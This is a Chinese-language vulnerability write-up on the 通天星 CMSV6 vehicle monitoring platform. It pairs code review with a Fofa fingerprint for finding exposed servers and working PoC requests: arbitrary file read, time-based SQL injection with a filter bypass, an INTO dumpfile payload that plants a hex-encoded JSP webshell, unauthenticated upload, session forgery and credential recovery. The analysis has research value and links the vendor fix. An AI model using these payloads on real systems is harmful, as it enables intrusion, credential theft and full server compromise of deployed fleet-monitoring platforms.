官方2024漏洞修复说明:http://faq.cmsv8.com/help.html?page_id=1249
Fofa指纹特征:body="./open/webApi.html"||body="/808gps/"
通天星CMSV6车载视频监控平台StandardReportMediaAction_getImage.action
接口存在任意文件读取漏洞,攻击者可以利用漏洞读取服务器上的任意文件,包括敏感系统文件和应用程序配置文件等。
poc:
GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2
先来看下struts.xml
文件中对web和API请求通用配置
<!-- =========web请求通用配置\========== -->
<action name\="\*\*/\*\_\*.action" class\="{2}" method\="{3}"\>
<!-- =========API请求通用配置\========== -->
<action name\="\*\_\*.action" class\="{1}" method\="{2}"\>
定义了class
与mothod
的访问方式,例如请求的url为/808gps/StandardReportMediaAction_getImage.action
,实际对应的是StandardReportMediaAction
类的getImage
方法,定位到代码
首先获取三个参数filePath
,fileOffset
,fileSize
,调用RandomAccessFile
类将指针移到fileOffset
读取文件的位置,然后把文件中的内容都读取到字节数组中,最后将指定的字节写入此字节数组输出流中。这里可以构造直接读取log_info.log
获取用户的session伪造登录,效果如下
通天星CMSV6车载定位监控平台/run_stop/delete.do
接口存在SQL注入漏洞,攻击者可以通过此漏洞写入木马病毒获取服务器权限。
poc:
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
跟进到StandardDemoRunStopController
类定位到/delete
路由
跟进ValidateUtils.checkParameter
方法发现只是判断了参数ids
是否为null
跟进demoRunStopService.deleteRunStopBatch
方法
继续套娃
直接拼接导致的SQL注入
这样就结束了吗?那;downloadLogger.action
的意义是什么呢?
跟进web.xml
发现存在针对所有请求的SQL注入的Filter过滤器,跟进对应的类
通过getParameterValues
获取参数的value
值,通过遍历拼接组合成字符串
继续跟进sqlValidate
方法
将组合成的字符串先变成小写,然后判断是否包含sql注入黑名单方法,包含就GG
但是熟悉的getRequestURI
方法映入眼帘,如果请求的url包含downloadLogger.action
,StandardApiAction_vehicleTTS.action...
,就可以bypass这个sql注入的过滤器,直接通过chain.doFilter
将请求转发给下一个过滤器。
SQL注入效果如下:
对比效果
这个系统的直接获取参数拼接进sql语句的场景挺多,都可以通过加;downloadLogger.action
的方式绕过
比如/edu_security_officer/disable
接口也同样可以通过这种方式造成SQL注入
poc:
GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+(SELECT+2688+FROM+(SELECT(SLEEP(3)))a) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=9E4EED29182FF5BAFF9D86142A4BAC6D
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
跟进EduSecurityOfficerController#disable
方法
直接拼接导致sql注入
而且还有AlarmAppealController#getAlarmAppealByGuid
方法
接收传入的参数guid
,跟进alarmAppealService.getAlarmAppealsByGuids
方法
直接拼接导致的sql注入
通天星CMSV6车载定位监控平台/point_manage/merge
接口存在SQL注入漏洞,攻击者可以通过此漏洞写入木马病毒获取服务器权限。
poc:
POST /point_manage/merge HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
id=1&name=1' UNION SELECT%0aNULL, 0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/allgods.jsp' FROM user_session a
WHERE '1'='1&type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8
跟踪到具体方法,先来看SQL注入:
可以看到将PointManageVo
类作为参数,跟进pointManageService.merge
方法
因为PointManageVo
继承于PointManagePo
,(PointManageVo)param.getName()
会直接调用PointManagePo.getName()
方法获取到传入的参数name
,将name
,id
参数传入nameExsit
方法
跟进pointManageDao.getPointByName
方法
可以看到直接将name
拼接到sql语句中导致了SQL注入漏洞,目前的poc都是通过这个sql注入来写木马
为什么SqlFilter
过滤器没有生效呢?
因为这里使用的是sql注入黑名单方法的形式来判断用户的输入,通过|
来分割恶意字符,例如这里取出的字符为select空格
,使用select%0a
换行符就可以绕过校验
说完sql注入,再来看这个接口为什么不需要登录,或者说这个@NotLogin
注解在哪里生效
来看struts.xml
文件,定位Struts2的拦截器配置
直接跟进SessionIterceptor#intercept
方法,来看关键的地方
通过invocation.getAction()
方法获取当前请求准备执行的Action对象,通过invocation.getProxy().getMethod()
获取用户请求的方法名
往下进入到关键的handleMethodNotLogin
方法
将Action对象对应的类,与方法名传入
获取Action对应的类的名称,与方法名组成完整的路径,这里就是com.gps808.inspect.controller.PointManageController.merge
,当同时满足NOT_LOGIN_CACHE
数组包含完整的路径,且isEnableDebug
属性为false
的时候,会返回完整的路径,当然是不满足的。重点在下面,通过java反射获取com.gps808.inspect.controller.PointManageController
类中merge
方法,通过调用isAnnotationPresent
判断类或者方法是否标注了指定注解,这里就是@NotLogin
,如果标注了就返回true
,接下来就调用invocation.invoke()
执行下一个拦截器,所以标注了@NotLogin
注解的类或者方法都不需要登录即可访问。
除了标注了@NotLogin
注解的类或者方法不需要登录外,跟进isAllowContinue
方法中
判断actionName
和lstAction
是否为null,不为null的话还要判断lstAction
是否包含actionName
,跟进来看看lstAction
可以看到是获取sessionFilter.xml
文件中model
标签的内容
至此只要actionName
为StandardLoginAction
,StandardWechatAction...
都可以直接通过权限拦截器
通天星CMSV6 inspect_file/upload
接口存在任意文件上传漏洞,跟进到InspectFileUploadController
类
这个类同样是@NotLogin
注解,而且并没有对上传的文件的后缀进行限制,上传的路径为upload/+folderName
(folderName
为用户可控参数,默认为software
),上传的文件以当前系统时间的值_上传文件的名字
命名,所以造成了未授权任意文件上传。
> 奇怪的是在文件上传成功之后,增加了对上传文件的后缀的白名单的判断,但是根据判断结果只是修改了FileType
参数,并没有对文件上传的结果造成影响。
通天星CMSV6车载定位监控平台saveUserSession
接口存在用户SESSION伪造漏洞,攻击者可以通过此漏洞伪造用户id对应的SESSION,在日志中可以看到,直接将SESSION插入到user_session
表中。
(测试版本CMSV6 7.32.0.2)poc:
POST /808gps/LocationManagement/UserSessionAction_saveUserSession.action HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Te: trailers
Connection: close
userSession=42AA7A2BE767123A42E1530ACC920781&id=4
定位到UserSessionAction#saveUserSession
方法
获取参数id
,userSession
,如果不为null的话将传入userSession
传入standardUserAccountService.getUserSession
方法
继续跟进standardUserSessionDao.getUserSession
方法
判断user_session
表中是否满足Session
=userSession
这一条件的记录,如果存在就返回The Session already exists!
,如果不存在就调用standardUserAccountService.saveThirdSession
方法,将参数id
,userSession
传入
将id
,userSession
插入到user_session
表中,插入成功后
通过getUserSession
方法获取userSession
的内容,转换成StandardUserSessionEx
类型,通过EntityApiSessionCacheTool.addApiUserSessionBySession
方法更新缓存。
这个过程攻击者就可以通过用户的id
对SESSION
进行伪造
通过任意文件读取漏洞读取日志,可以看到记录
所以一开始说的通过读取log_info.log
获取用户的session伪造登录完全成立哈哈
而且通过UserSessionAction_findUserSession.action
接口可以通过此session来查看对应的账户密码
因为这个password是从数据库里面读取,如果想解密的话需要调用AesUtil#aesDecryptDB
+cmd5解密方法,这里解密之后直接登录即可
反序列化漏洞:
这里不再搬轮子,直接移步@Y4TACKER的《浅析通天星CMSV6车载定位监控平台远程代码执行漏洞》,完整的漏洞利用链:
com.framework.jasperReports.ReportCreater#_createReport
=> com.framework.jasperReports.ReportCreater#getJasperReport
=> com.framework.jasperReports.ReportCreater#getJasperReportFromFile
=> net.sf.jasperreports.engine.util.JRLoader#loadObject
=> net.sf.jasperreports.engine.util.ContextClassLoaderObjectInputStream#readObject
信息泄露类:
StandardLoginAction_getAllUser.action
接口存在信息泄露POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Content-Length: 9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
json=null
/xz_center/list
接口存在信息泄露POST /xz_center/list HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
page=1
针对信息泄露类的漏洞:
HAE + BurpJSLinkFinder + Autorize
插件(当然可能会有更好的),其中HAE
插件通过自定义正则表达式匹配响应报文或请求报文来捕捉到类似的敏感信息泄露,BurpJSLinkFinder
插件从js文件里面提取API接口,Autorize
插件来判断哪些API接口可以未授权访问,组合即可获取未授权返回敏感信息的接口。return "success"
这类的状态值,还是return一个list或者map,对list或者map进行分析判断其中是否包含敏感信息。然后判断接口是否存在未授权访问,例如是否有对身份的校验,getRequestURI+Filter/Interceptor
是否存在权限校验绕过的可能等等。抱着学习的心态来分析通天星cmsv6的漏洞,请各位师傅多指导,如果文章中有错误请师傅私信我。
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!